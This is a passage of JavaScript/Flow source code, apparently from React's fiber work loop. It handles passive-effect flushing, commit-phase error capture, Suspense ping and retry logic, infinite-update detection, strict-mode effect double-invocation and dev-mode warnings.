errorInfo but can be accessed as a property' +\n            ' of the Error instance itself.',\n        );\n      },\n    });\n  }\n  return errorInfo;\n}\n\nfunction releaseRootPooledCache(root: FiberRoot, remainingLanes: Lanes) {\n  const pooledCacheLanes = (root.pooledCacheLanes &= remainingLanes);\n  if (pooledCacheLanes === NoLanes) {\n    // None of the remaining work relies on the cache pool. Clear it so\n    // subsequent requests get a new cache\n    const pooledCache = root.pooledCache;\n    if (pooledCache != null) {\n      root.pooledCache = null;\n      releaseCache(pooledCache);\n    }\n  }\n}\n\nlet didWarnAboutInterruptedViewTransitions = false;\n\nexport function flushPendingEffectsDelayed(): boolean {\n  if (pendingDelayedCommitReason === IMMEDIATE_COMMIT) {\n    pendingDelayedCommitReason = DELAYED_PASSIVE_COMMIT;\n  }\n  return flushPendingEffects();\n}\n\nexport function flushPendingEffects(): boolean {\n  // Returns whether passive effects were flushed.\n  if (enableViewTransition && pendingViewTransition !== null) {\n    // If we forced a flush before the View Transition full started then we skip it.\n    // This ensures that we're not running a partial animation.\n    stopViewTransition(pendingViewTransition);\n    if (__DEV__) {\n      if (!didWarnAboutInterruptedViewTransitions) {\n        didWarnAboutInterruptedViewTransitions = true;\n        console.warn(\n          'A flushSync update cancelled a View Transition because it was called ' +\n            'while the View Transition was still preparing. To preserve the synchronous ' +\n            'semantics, React had to skip the View Transition. If you can, try to avoid ' +\n            \"flushSync() in a scenario that's likely to interfere.\",\n        );\n      }\n    }\n    pendingViewTransition = null;\n    pendingDelayedCommitReason = ABORTED_VIEW_TRANSITION_COMMIT;\n  }\n  flushGestureMutations();\n  flushGestureAnimations();\n  flushMutationEffects();\n  flushLayoutEffects();\n  // Skip flushAfterMutation if we're forcing this early.\n  flushSpawnedWork();\n  return flushPassiveEffects();\n}\n\nfunction flushPassiveEffects(): boolean {\n  if (pendingEffectsStatus !== PENDING_PASSIVE_PHASE) {\n    return false;\n  }\n  // TODO: Merge flushPassiveEffectsImpl into this function. I believe they were only separate\n  // in the first place because we used to wrap it with\n  // `Scheduler.runWithPriority`, which accepts a function. But now we track the\n  // priority within React itself, so we can mutate the variable directly.\n  // Cache the root since pendingEffectsRoot is cleared in\n  // flushPassiveEffectsImpl\n  const root = pendingEffectsRoot;\n  // Cache and clear the remaining lanes flag; it must be reset since this\n  // method can be called from various places, not always from completeRoot\n  // where the remaining lanes are known\n  const remainingLanes = pendingEffectsRemainingLanes;\n  pendingEffectsRemainingLanes = NoLanes;\n\n  const renderPriority = lanesToEventPriority(pendingEffectsLanes);\n  const priority = lowerEventPriority(DefaultEventPriority, renderPriority);\n  const prevTransition = ReactSharedInternals.T;\n  const previousPriority = getCurrentUpdatePriority();\n\n  try {\n    setCurrentUpdatePriority(priority);\n    ReactSharedInternals.T = null;\n    return flushPassiveEffectsImpl();\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n\n    // Once passive effects have run for the tree - giving components a\n    // chance to retain cache instances they use - release the pooled\n    // cache at the root (if there is one)\n    releaseRootPooledCache(root, remainingLanes);\n  }\n}\n\nfunction flushPassiveEffectsImpl() {\n  // Cache and clear the transitions flag\n  const transitions = pendingPassiveTransitions;\n  pendingPassiveTransitions = null;\n\n  const root = pendingEffectsRoot;\n  const lanes = pendingEffectsLanes;\n  pendingEffectsStatus = NO_PENDING_EFFECTS;\n  pendingEffectsRoot = (null: any); // Clear for GC purposes.\n  pendingFinishedWork = (null: any); // Clear for GC purposes.\n  // TODO: This is sometimes out of sync with pendingEffectsRoot.\n  // Figure out why and fix it. It's not causing any known issues (probably\n  // because it's only used for profiling), but it's a refactor hazard.\n  pendingEffectsLanes = NoLanes;\n\n  if (enableYieldingBeforePassive) {\n    // We've finished our work for this render pass.\n    root.callbackNode = null;\n    root.callbackPriority = NoLane;\n  }\n\n  if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {\n    throw new Error('Cannot flush passive effects while already rendering.');\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // We're about to log a lot of profiling for this commit.\n    // We set this once so we don't have to recompute it for every log.\n    setCurrentTrackFromLanes(lanes);\n  }\n\n  if (__DEV__) {\n    isFlushingPassiveEffects = true;\n    didScheduleUpdateDuringPassiveEffects = false;\n  }\n\n  let passiveEffectStartTime = 0;\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    resetCommitErrors();\n    passiveEffectStartTime = now();\n    if (pendingDelayedCommitReason === ANIMATION_STARTED_COMMIT) {\n      // The animation was started, so we've been animating since that happened.\n      logAnimatingPhase(commitEndTime, passiveEffectStartTime, animatingTask);\n    } else {\n      logPaintYieldPhase(\n        commitEndTime,\n        passiveEffectStartTime,\n        pendingDelayedCommitReason === DELAYED_PASSIVE_COMMIT,\n        workInProgressUpdateTask,\n      );\n    }\n  }\n\n  if (enableSchedulingProfiler) {\n    markPassiveEffectsStarted(lanes);\n  }\n\n  const prevExecutionContext = executionContext;\n  executionContext |= CommitContext;\n\n  commitPassiveUnmountEffects(root.current);\n  commitPassiveMountEffects(\n    root,\n    root.current,\n    lanes,\n    transitions,\n    pendingEffectsRenderEndTime,\n  );\n\n  if (enableSchedulingProfiler) {\n    markPassiveEffectsStopped();\n  }\n\n  if (__DEV__) {\n    commitDoubleInvokeEffectsInDEV(root, true);\n  }\n\n  executionContext = prevExecutionContext;\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    const passiveEffectsEndTime = now();\n    logPassiveCommitPhase(\n      passiveEffectStartTime,\n      passiveEffectsEndTime,\n      commitErrors,\n      workInProgressUpdateTask,\n    );\n    finalizeRender(lanes, passiveEffectsEndTime);\n  }\n\n  flushSyncWorkOnAllRoots();\n\n  if (enableTransitionTracing) {\n    const prevPendingTransitionCallbacks = currentPendingTransitionCallbacks;\n    const prevRootTransitionCallbacks = root.transitionCallbacks;\n    const prevEndTime = currentEndTime;\n    if (\n      prevPendingTransitionCallbacks !== null &&\n      prevRootTransitionCallbacks !== null &&\n      prevEndTime !== null\n    ) {\n      currentPendingTransitionCallbacks = null;\n      currentEndTime = null;\n      scheduleCallback(IdleSchedulerPriority, () => {\n        processTransitionCallbacks(\n          prevPendingTransitionCallbacks,\n          prevEndTime,\n          prevRootTransitionCallbacks,\n        );\n      });\n    }\n  }\n\n  if (__DEV__) {\n    // If additional passive effects were scheduled, increment a counter. If this\n    // exceeds the limit, we'll fire a warning.\n    if (didScheduleUpdateDuringPassiveEffects) {\n      if (root === rootWithPassiveNestedUpdates) {\n        nestedPassiveUpdateCount++;\n      } else {\n        nestedPassiveUpdateCount = 0;\n        rootWithPassiveNestedUpdates = root;\n      }\n    } else {\n      nestedPassiveUpdateCount = 0;\n    }\n    isFlushingPassiveEffects = false;\n    didScheduleUpdateDuringPassiveEffects = false;\n  }\n\n  if (enableYieldingBeforePassive) {\n    // Next, we reschedule any remaining work in a new task since it's a new\n    // sequence of work. We wait until the end to do this in case the passive\n    // effect schedules higher priority work than we had remaining. That way\n    // we don't schedule an early callback that gets cancelled anyway.\n    ensureRootIsScheduled(root);\n  }\n\n  // TODO: Move to commitPassiveMountEffects\n  onPostCommitRootDevTools(root);\n  if (enableProfilerTimer && enableProfilerCommitHooks) {\n    const stateNode = root.current.stateNode;\n    stateNode.effectDuration = 0;\n    stateNode.passiveEffectDuration = 0;\n  }\n\n  return true;\n}\n\nexport function isAlreadyFailedLegacyErrorBoundary(instance: mixed): boolean {\n  return (\n    legacyErrorBoundariesThatAlreadyFailed !== null &&\n    legacyErrorBoundariesThatAlreadyFailed.has(instance)\n  );\n}\n\nexport function markLegacyErrorBoundaryAsFailed(instance: mixed) {\n  if (legacyErrorBoundariesThatAlreadyFailed === null) {\n    legacyErrorBoundariesThatAlreadyFailed = new Set([instance]);\n  } else {\n    legacyErrorBoundariesThatAlreadyFailed.add(instance);\n  }\n}\n\nfunction captureCommitPhaseErrorOnRoot(\n  rootFiber: Fiber,\n  sourceFiber: Fiber,\n  error: mixed,\n) {\n  const errorInfo = createCapturedValueAtFiber(error, sourceFiber);\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    recordEffectError(errorInfo);\n  }\n  const update = createRootErrorUpdate(\n    rootFiber.stateNode,\n    errorInfo,\n    (SyncLane: Lane),\n  );\n  const root = enqueueUpdate(rootFiber, update, (SyncLane: Lane));\n  if (root !== null) {\n    markRootUpdated(root, SyncLane);\n    ensureRootIsScheduled(root);\n  }\n}\n\nexport function captureCommitPhaseError(\n  sourceFiber: Fiber,\n  nearestMountedAncestor: Fiber | null,\n  error: mixed,\n) {\n  if (__DEV__) {\n    setIsRunningInsertionEffect(false);\n  }\n  if (sourceFiber.tag === HostRoot) {\n    // Error was thrown at the root. There is no parent, so the root\n    // itself should capture it.\n    captureCommitPhaseErrorOnRoot(sourceFiber, sourceFiber, error);\n    return;\n  }\n\n  let fiber = nearestMountedAncestor;\n  while (fiber !== null) {\n    if (fiber.tag === HostRoot) {\n      captureCommitPhaseErrorOnRoot(fiber, sourceFiber, error);\n      return;\n    } else if (fiber.tag === ClassComponent) {\n      const ctor = fiber.type;\n      const instance = fiber.stateNode;\n      if (\n        typeof ctor.getDerivedStateFromError === 'function' ||\n        (typeof instance.componentDidCatch === 'function' &&\n          !isAlreadyFailedLegacyErrorBoundary(instance))\n      ) {\n        const errorInfo = createCapturedValueAtFiber(error, sourceFiber);\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          recordEffectError(errorInfo);\n        }\n        const update = createClassErrorUpdate((SyncLane: Lane));\n        const root = enqueueUpdate(fiber, update, (SyncLane: Lane));\n        if (root !== null) {\n          initializeClassErrorUpdate(update, root, fiber, errorInfo);\n          markRootUpdated(root, SyncLane);\n          ensureRootIsScheduled(root);\n        }\n        return;\n      }\n    }\n    fiber = fiber.return;\n  }\n\n  if (__DEV__) {\n    console.error(\n      'Internal React error: Attempted to capture a commit phase error ' +\n        'inside a detached tree. This indicates a bug in React. Potential ' +\n        'causes include deleting the same fiber more than once, committing an ' +\n        'already-finished tree, or an inconsistent return pointer.\\n\\n' +\n        'Error message:\\n\\n%s',\n      error,\n    );\n  }\n}\n\nexport function attachPingListener(\n  root: FiberRoot,\n  wakeable: Wakeable,\n  lanes: Lanes,\n) {\n  // Attach a ping listener\n  //\n  // The data might resolve before we have a chance to commit the fallback. Or,\n  // in the case of a refresh, we'll never commit a fallback. So we need to\n  // attach a listener now. When it resolves (\"pings\"), we can decide whether to\n  // try rendering the tree again.\n  //\n  // Only attach a listener if one does not already exist for the lanes\n  // we're currently rendering (which acts like a \"thread ID\" here).\n  //\n  // We only need to do this in concurrent mode. Legacy Suspense always\n  // commits fallbacks synchronously, so there are no pings.\n  let pingCache = root.pingCache;\n  let threadIDs;\n  if (pingCache === null) {\n    pingCache = root.pingCache = new PossiblyWeakMap();\n    threadIDs = new Set<mixed>();\n    pingCache.set(wakeable, threadIDs);\n  } else {\n    threadIDs = pingCache.get(wakeable);\n    if (threadIDs === undefined) {\n      threadIDs = new Set();\n      pingCache.set(wakeable, threadIDs);\n    }\n  }\n  if (!threadIDs.has(lanes)) {\n    workInProgressRootDidAttachPingListener = true;\n\n    // Memoize using the thread ID to prevent redundant listeners.\n    threadIDs.add(lanes);\n    const ping = pingSuspendedRoot.bind(null, root, wakeable, lanes);\n    if (enableUpdaterTracking) {\n      if (isDevToolsPresent) {\n        // If we have pending work still, restore the original updaters\n        restorePendingUpdaters(root, lanes);\n      }\n    }\n    wakeable.then(ping, ping);\n  }\n}\n\nfunction pingSuspendedRoot(\n  root: FiberRoot,\n  wakeable: Wakeable,\n  pingedLanes: Lanes,\n) {\n  const pingCache = root.pingCache;\n  if (pingCache !== null) {\n    // The wakeable resolved, so we no longer need to memoize, because it will\n    // never be thrown again.\n    pingCache.delete(wakeable);\n  }\n\n  markRootPinged(root, pingedLanes);\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    startPingTimerByLanes(pingedLanes);\n  }\n\n  warnIfSuspenseResolutionNotWrappedWithActDEV(root);\n\n  if (\n    workInProgressRoot === root &&\n    isSubsetOfLanes(workInProgressRootRenderLanes, pingedLanes)\n  ) {\n    // Received a ping at the same priority level at which we're currently\n    // rendering. We might want to restart this render. This should mirror\n    // the logic of whether or not a root suspends once it completes.\n    // TODO: If we're rendering sync either due to Sync, Batched or expired,\n    // we should probably never restart.\n    // TODO: Attach different listeners depending on whether the listener was\n    // attached during prerendering. Prerender pings should not interrupt\n    // normal renders.\n\n    // If we're suspended with delay, or if it's a retry, we'll always suspend\n    // so we can always restart.\n    if (\n      workInProgressRootExitStatus === RootSuspendedWithDelay ||\n      (workInProgressRootExitStatus === RootSuspended &&\n        includesOnlyRetries(workInProgressRootRenderLanes) &&\n        now() - globalMostRecentFallbackTime < FALLBACK_THROTTLE_MS)\n    ) {\n      // Force a restart from the root by unwinding the stack. Unless this is\n      // being called from the render phase, because that would cause a crash.\n      if ((executionContext & RenderContext) === NoContext) {\n        prepareFreshStack(root, NoLanes);\n      } else {\n        // TODO: If this does happen during the render phase, we should throw\n        // the special internal exception that we use to interrupt the stack for\n        // selective hydration. That was temporarily reverted but we once we add\n        // it back we can use it here.\n        //\n        // In the meantime, record the pinged lanes so markRootSuspended won't\n        // mark them as suspended, allowing a retry.\n        workInProgressRootPingedLanes = mergeLanes(\n          workInProgressRootPingedLanes,\n          pingedLanes,\n        );\n      }\n    } else {\n      // Even though we can't restart right now, we might get an\n      // opportunity later. So we mark this render as having a ping.\n      workInProgressRootPingedLanes = mergeLanes(\n        workInProgressRootPingedLanes,\n        pingedLanes,\n      );\n    }\n\n    // If something pings the work-in-progress render, any work that suspended\n    // up to this point may now be unblocked; in other words, no\n    // longer suspended.\n    //\n    // Unlike the broader check above, we only need do this if the lanes match\n    // exactly. If the lanes don't exactly match, that implies the promise\n    // was created by an older render.\n    if (workInProgressSuspendedRetryLanes === workInProgressRootRenderLanes) {\n      workInProgressSuspendedRetryLanes = NoLanes;\n    }\n  }\n\n  ensureRootIsScheduled(root);\n}\n\nexport function pingGestureRoot(root: FiberRoot): void {\n  const gesture = root.pendingGestures;\n  if (gesture === null) {\n    return;\n  }\n  // Ping it for rerender and commit.\n  markRootPinged(root, GestureLane);\n  ensureRootIsScheduled(root);\n}\n\nexport function restartGestureRoot(root: FiberRoot): void {\n  if (\n    workInProgressRoot === root &&\n    isGestureRender(workInProgressRootRenderLanes)\n  ) {\n    // The current render was a gesture but it's now defunct. We need to restart the render.\n    if ((executionContext & RenderContext) === NoContext) {\n      prepareFreshStack(root, NoLanes);\n    } else {\n      // TODO: Throw interruption when supported again.\n    }\n  } else if (\n    root.cancelPendingCommit !== null &&\n    isGestureRender(pendingEffectsLanes)\n  ) {\n    // We have a suspended commit which we'll discard.\n    const cancelPendingCommit = root.cancelPendingCommit;\n    if (cancelPendingCommit !== null) {\n      root.cancelPendingCommit = null;\n      cancelPendingCommit();\n    }\n  }\n  if (root.pendingGestures !== null) {\n    // We still have gestures to work on. Let's schedule a restart.\n    markRootPinged(root, GestureLane);\n  }\n  ensureRootIsScheduled(root);\n}\n\nfunction retryTimedOutBoundary(boundaryFiber: Fiber, retryLane: Lane) {\n  // The boundary fiber (a Suspense component or SuspenseList component)\n  // previously was rendered in its fallback state. One of the promises that\n  // suspended it has resolved, which means at least part of the tree was\n  // likely unblocked. Try rendering again, at a new lanes.\n  if (retryLane === NoLane) {\n    // TODO: Assign this to `suspenseState.retryLane`? to avoid\n    // unnecessary entanglement?\n    retryLane = requestRetryLane(boundaryFiber);\n  }\n  // TODO: Special case idle priority?\n  const root = enqueueConcurrentRenderForLane(boundaryFiber, retryLane);\n  if (root !== null) {\n    markRootUpdated(root, retryLane);\n    ensureRootIsScheduled(root);\n  }\n}\n\nexport function retryDehydratedSuspenseBoundary(boundaryFiber: Fiber) {\n  const suspenseState: null | SuspenseState = boundaryFiber.memoizedState;\n  let retryLane: Lane = NoLane;\n  if (suspenseState !== null) {\n    retryLane = suspenseState.retryLane;\n  }\n  retryTimedOutBoundary(boundaryFiber, retryLane);\n}\n\nexport function resolveRetryWakeable(boundaryFiber: Fiber, wakeable: Wakeable) {\n  let retryLane: Lane = NoLane; // Default\n  let retryCache: WeakSet<Wakeable> | Set<Wakeable> | null;\n  switch (boundaryFiber.tag) {\n    case ActivityComponent:\n    case SuspenseComponent:\n      retryCache = boundaryFiber.stateNode;\n      const suspenseState: null | SuspenseState | ActivityState =\n        boundaryFiber.memoizedState;\n      if (suspenseState !== null) {\n        retryLane = suspenseState.retryLane;\n      }\n      break;\n    case SuspenseListComponent:\n      retryCache = boundaryFiber.stateNode;\n      break;\n    case OffscreenComponent: {\n      const instance: OffscreenInstance = boundaryFiber.stateNode;\n      retryCache = instance._retryCache;\n      break;\n    }\n    default:\n      throw new Error(\n        'Pinged unknown suspense boundary type. ' +\n          'This is probably a bug in React.',\n      );\n  }\n\n  if (retryCache !== null) {\n    // The wakeable resolved, so we no longer need to memoize, because it will\n    // never be thrown again.\n    retryCache.delete(wakeable);\n  }\n\n  retryTimedOutBoundary(boundaryFiber, retryLane);\n}\n\nexport function throwIfInfiniteUpdateLoopDetected() {\n  if (nestedUpdateCount > NESTED_UPDATE_LIMIT) {\n    nestedUpdateCount = 0;\n    nestedPassiveUpdateCount = 0;\n    rootWithNestedUpdates = null;\n    rootWithPassiveNestedUpdates = null;\n\n    const updateKind = nestedUpdateKind;\n    nestedUpdateKind = NO_NESTED_UPDATE;\n\n    if (enableInfiniteRenderLoopDetection) {\n      if (updateKind === NESTED_UPDATE_SYNC_LANE) {\n        if (executionContext & RenderContext && workInProgressRoot !== null) {\n          // This loop was identified only because of the instrumentation gated with enableInfiniteRenderLoopDetection, warn instead of throwing.\n          if (__DEV__) {\n            console.error(\n              'Maximum update depth exceeded. This could be an infinite loop. This can happen when a component ' +\n                'repeatedly calls setState during render phase or inside useLayoutEffect, ' +\n                'causing infinite render loop. React limits the number of nested updates to ' +\n                'prevent infinite loops.',\n            );\n          }\n        } else {\n          throw new Error(\n            'Maximum update depth exceeded. This can happen when a component ' +\n              'repeatedly calls setState inside componentWillUpdate or ' +\n              'componentDidUpdate. React limits the number of nested updates to ' +\n              'prevent infinite loops.',\n          );\n        }\n      } else if (updateKind === NESTED_UPDATE_PHASE_SPAWN) {\n        if (__DEV__) {\n          console.error(\n            'Maximum update depth exceeded. This could be an infinite loop. This can happen when a component ' +\n              'repeatedly calls setState during render phase or inside useLayoutEffect, ' +\n              'causing infinite render loop. React limits the number of nested updates to ' +\n              'prevent infinite loops.',\n          );\n        }\n      }\n    } else {\n      throw new Error(\n        'Maximum update depth exceeded. This can happen when a component ' +\n          'repeatedly calls setState inside componentWillUpdate or ' +\n          'componentDidUpdate. React limits the number of nested updates to ' +\n          'prevent infinite loops.',\n      );\n    }\n  }\n\n  if (__DEV__) {\n    if (nestedPassiveUpdateCount > NESTED_PASSIVE_UPDATE_LIMIT) {\n      nestedPassiveUpdateCount = 0;\n      rootWithPassiveNestedUpdates = null;\n\n      console.error(\n        'Maximum update depth exceeded. This can happen when a component ' +\n          \"calls setState inside useEffect, but useEffect either doesn't \" +\n          'have a dependency array, or one of the dependencies changes on ' +\n          'every render.',\n      );\n    }\n  }\n}\n\nfunction flushRenderPhaseStrictModeWarningsInDEV() {\n  if (__DEV__) {\n    ReactStrictModeWarnings.flushLegacyContextWarning();\n    ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings();\n  }\n}\n\nfunction recursivelyTraverseAndDoubleInvokeEffectsInDEV(\n  root: FiberRoot,\n  parentFiber: Fiber,\n  isInStrictMode: boolean,\n) {\n  if ((parentFiber.subtreeFlags & (PlacementDEV | Visibility)) === NoFlags) {\n    // Parent's descendants have already had effects double invoked.\n    // Early exit to avoid unnecessary tree traversal.\n    return;\n  }\n  let child = parentFiber.child;\n  while (child !== null) {\n    doubleInvokeEffectsInDEVIfNecessary(root, child, isInStrictMode);\n    child = child.sibling;\n  }\n}\n\n// Unconditionally disconnects and connects passive and layout effects.\nfunction doubleInvokeEffectsOnFiber(root: FiberRoot, fiber: Fiber) {\n  setIsStrictModeForDevtools(true);\n  try {\n    disappearLayoutEffects(fiber);\n    disconnectPassiveEffect(fiber);\n    reappearLayoutEffects(root, fiber.alternate, fiber, false);\n    reconnectPassiveEffects(root, fiber, NoLanes, null, false, 0);\n  } finally {\n    setIsStrictModeForDevtools(false);\n  }\n}\n\nfunction doubleInvokeEffectsInDEVIfNecessary(\n  root: FiberRoot,\n  fiber: Fiber,\n  parentIsInStrictMode: boolean,\n) {\n  const isStrictModeFiber = fiber.type === REACT_STRICT_MODE_TYPE;\n  const isInStrictMode = parentIsInStrictMode || isStrictModeFiber;\n\n  // First case: the fiber **is not** of type OffscreenComponent. No\n  // special rules apply to double invoking effects.\n  if (fiber.tag !== OffscreenComponent) {\n    if (fiber.flags & PlacementDEV) {\n      if (isInStrictMode) {\n        runWithFiberInDEV(fiber, doubleInvokeEffectsOnFiber, root, fiber);\n      }\n    } else {\n      recursivelyTraverseAndDoubleInvokeEffectsInDEV(\n        root,\n        fiber,\n        isInStrictMode,\n      );\n    }\n    return;\n  }\n\n  // Second case: the fiber **is** of type OffscreenComponent.\n  // This branch contains cases specific to Offscreen.\n  if (fiber.memoizedState === null) {\n    // Only consider Offscreen that is visible.\n    // TODO (Offscreen) Handle manual mode.\n    if (isInStrictMode && fiber.flags & Visibility) {\n      // Double invoke effects on Offscreen's subtree only\n      // if it is visible and its visibility has changed.\n      runWithFiberInDEV(fiber, doubleInvokeEffectsOnFiber, root, fiber);\n    } else if (fiber.subtreeFlags & PlacementDEV) {\n      // Something in the subtree could have been suspended.\n      // We need to continue traversal and find newly inserted fibers.\n      runWithFiberInDEV(\n        fiber,\n        recursivelyTraverseAndDoubleInvokeEffectsInDEV,\n        root,\n        fiber,\n        isInStrictMode,\n      );\n    }\n  }\n}\n\nfunction commitDoubleInvokeEffectsInDEV(\n  root: FiberRoot,\n  hasPassiveEffects: boolean,\n) {\n  if (__DEV__) {\n    if (disableLegacyMode || root.tag !== LegacyRoot) {\n      let doubleInvokeEffects = true;\n\n      if (\n        (disableLegacyMode || root.tag === ConcurrentRoot) &&\n        !(root.current.mode & (StrictLegacyMode | StrictEffectsMode))\n      ) {\n        doubleInvokeEffects = false;\n      }\n      recursivelyTraverseAndDoubleInvokeEffectsInDEV(\n        root,\n        root.current,\n        doubleInvokeEffects,\n      );\n    } else {\n      // TODO: Is this runWithFiberInDEV needed since the other effect functions do it too?\n      runWithFiberInDEV(\n        root.current,\n        legacyCommitDoubleInvokeEffectsInDEV,\n        root.current,\n        hasPassiveEffects,\n      );\n    }\n  }\n}\n\nfunction legacyCommitDoubleInvokeEffectsInDEV(\n  fiber: Fiber,\n  hasPassiveEffects: boolean,\n) {\n  // TODO (StrictEffects) Should we set a marker on the root if it contains strict effects\n  // so we don't traverse unnecessarily? similar to subtreeFlags but just at the root level.\n  // Maybe not a big deal since this is DEV only behavior.\n\n  invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectUnmountInDEV);\n  if (hasPassiveEffects) {\n    invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectUnmountInDEV);\n  }\n\n  invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectMountInDEV);\n  if (hasPassiveEffects) {\n    invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectMountInDEV);\n  }\n}\n\nfunction invokeEffectsInDev(\n  firstChild: Fiber,\n  fiberFlags: Flags,\n  invokeEffectFn: (fiber: Fiber) => void,\n) {\n  let current: null | Fiber = firstChild;\n  let subtreeRoot = null;\n  while (current != null) {\n    const primarySubtreeFlag = current.subtreeFlags & fiberFlags;\n    if (\n      current !== subtreeRoot &&\n      current.child != null &&\n      primarySubtreeFlag !== NoFlags\n    ) {\n      current = current.child;\n    } else {\n      if ((current.flags & fiberFlags) !== NoFlags) {\n        invokeEffectFn(current);\n      }\n\n      if (current.sibling !== null) {\n        current = current.sibling;\n      } else {\n        current = subtreeRoot = current.return;\n      }\n    }\n  }\n}\n\nlet didWarnStateUpdateForNotYetMountedComponent: Set<string> | null = null;\nexport function warnAboutUpdateOnNotYetMountedFiberInDEV(fiber: Fiber) {\n  if (__DEV__) {\n    if ((executionContext & RenderContext) !== NoContext) {\n      // We let the other warning about render phase updates deal with this one.\n      return;\n    }\n\n    if (!disableLegacyMode && !(fiber.mode & ConcurrentMode)) {\n      return;\n    }\n\n    const tag = fiber.tag;\n    if (\n      tag !== HostRoot &&\n      tag !== ClassComponent &&\n      tag !== FunctionComponent &&\n      tag !== ForwardRef &&\n      tag !== MemoComponent &&\n      tag !== SimpleMemoComponent\n    ) {\n      // Only warn for user-defined components, not internal ones like Suspense.\n      return;\n    }\n\n    // We show the whole stack but dedupe on the top component's name because\n    // the problematic code almost always lies inside that component.\n    const componentName = getComponentNameFromFiber(fiber) || 'ReactComponent';\n    if (didWarnStateUpdateForNotYetMountedComponent !== null) {\n      if (didWarnStateUpdateForNotYetMountedComponent.has(componentName)) {\n        return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      didWarnStateUpdateForNotYetMountedComponent.add(componentName);\n    } else {\n      didWarnStateUpdateForNotYetMountedComponent = new Set([componentName]);\n    }\n\n    runWithFiberInDEV(fiber, () => {\n      console.error(\n        \"Can't perform a React state update on a component that hasn't mounted yet. \" +\n          'This indicates that you have a side-effect in your render function that ' +\n          'asynchronously tries to update the component. Move this work to ' +\n          'useEffect instead.',\n      );\n    });\n  }\n}\n\nlet didWarnAboutUpdateInRender = false;\nlet didWarnAboutUpdateInRenderForAnotherComponent;\nif (__DEV__) {\n  didWarnAboutUpdateInRenderForAnotherComponent = new Set<string>();\n}\n\nfunction warnAboutRenderPhaseUpdatesInDEV(fiber: Fiber) {\n  if (__DEV__) {\n    if (ReactCurrentDebugFiberIsRenderingInDEV) {\n      switch (fiber.tag) {\n        case FunctionComponent:\n        case ForwardRef:\n        case SimpleMemoComponent: {\n          const renderingComponentName =\n            (workInProgress && getComponentNameFromFiber(workInProgress)) ||\n            'Unknown';\n          // Dedupe by the rendering component because it's the one that needs to be fixed.\n          const dedupeKey = renderingComponentName;\n          if (!didWarnAboutUpdateInRenderForAnotherComponent.has(dedupeKey)) {\n            didWarnAboutUpdateInRenderForAnotherComponent.add(dedupeKey);\n            const setStateComponentName =\n              getComponentNameFromFiber(fiber) || 'Unknown';\n            console.error(\n              'Cannot update a component (`%s`) while rendering a ' +\n                'different component (`%s`). To locate the bad setState() call inside `%s`, ' +\n                'follow the stack trace as described in https://react.dev/link/setstate-in-render',\n              setStateComponentName,\n              renderingComponentName,\n              renderingComponentName,\n            );\n          }\n          break;\n        }\n        case ClassComponent: {\n          if (!didWarnAboutUpdateInRender) {\n            console.error(\n              'Cannot update during an existing state transition (such as ' +\n                'within `render`). Render methods should be a pure ' +\n                'function of props and state.',\n            );\n            didWarnAboutUpdateInRender = true;\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n\nexport function restorePendingUpdaters(root: FiberRoot, lanes: Lanes): void {\n  if (enableUpdaterTracking) {\n    if (isDevToolsPresent) {\n      const memoizedUpdaters = root.memoizedUpdaters;\n      memoizedUpdaters.forEach(schedulingFiber => {\n        addFiberToLanesMap(root, schedulingFiber, lanes);\n      });\n\n      // This function intentionally does not clear memoized updaters.\n      // Those may still be relevant to the current commit\n      // and a future one (e.g. Suspense).\n    }\n  }\n}\n\nconst fakeActCallbackNode = {};\n// $FlowFixMe[missing-local-annot]\nfunction scheduleCallback(priorityLevel: any, callback) {\n  if (__DEV__) {\n    // If we're currently inside an `act` scope, bypass Scheduler and push to\n    // the `act` queue instead.\n    const actQueue = ReactSharedInternals.actQueue;\n    if (actQueue !== null) {\n      actQueue.push(callback);\n      return fakeActCallbackNode;\n    } else {\n      return Scheduler_scheduleCallback(priorityLevel, callback);\n    }\n  } else {\n    // In production, always call Scheduler. This function will be stripped out.\n    return Scheduler_scheduleCallback(priorityLevel, callback);\n  }\n}\n\nfunction shouldForceFlushFallbacksInDEV() {\n  // Never force flush in production. This function should get stripped out.\n  return __DEV__ && ReactSharedInternals.actQueue !== null;\n}\n\nfunction warnIfUpdatesNotWrappedWithActDEV(fiber: Fiber): void {\n  if (__DEV__) {\n    if (disableLegacyMode || fiber.mode & ConcurrentMode) {\n      if (!isConcurrentActEnvironment()) {\n        // Not in an act environment. No need to warn.\n        return;\n      }\n    } else {\n      // Legacy mode has additional cases where we suppress a warning.\n      if (!isLegacyActEnvironment(fiber)) {\n        // Not in an act environment. No need to warn.\n        return;\n      }\n      if (executionContext !== NoContext) {\n        // Legacy mode doesn't warn if the update is batched, i.e.\n        // batchedUpdates or flushSync.\n        return;\n      }\n      if (\n        fiber.tag !== FunctionComponent &&\n        fiber.tag !== ForwardRef &&\n        fiber.tag !== SimpleMemoComponent\n      ) {\n        // For backwards compatibility with pre-hooks code, legacy mode only\n        // warns for updates that originate from a hook.\n        return;\n      }\n    }\n\n    if (ReactSharedInternals.actQueue === null) {\n      runWithFiberInDEV(fiber, () => {\n        console.error(\n          'An update to %s inside a test was not wrapped in act(...).\\n\\n' +\n            'When testing, code that causes React state updates should be ' +\n            'wrapped into act(...):\\n\\n' +\n            'act(() => {\\n' +\n            '  /* fire events that update state */\\n' +\n            '});\\n' +\n            '/* assert on the output */\\n\\n' +\n            \"This ensures that you're testing the behavior the user would see \" +\n            'in the browser.' +\n            ' Learn more at https://react.dev/link/wrap-tests-with-act',\n          getComponentNameFromFiber(fiber),\n        );\n      });\n    }\n  }\n}\n\nfunction warnIfSuspenseResolutionNotWrappedWithActDEV(root: FiberRoot): void {\n  if (__DEV__) {\n    if (\n      (disableLegacyMode || root.tag !== LegacyRoot) 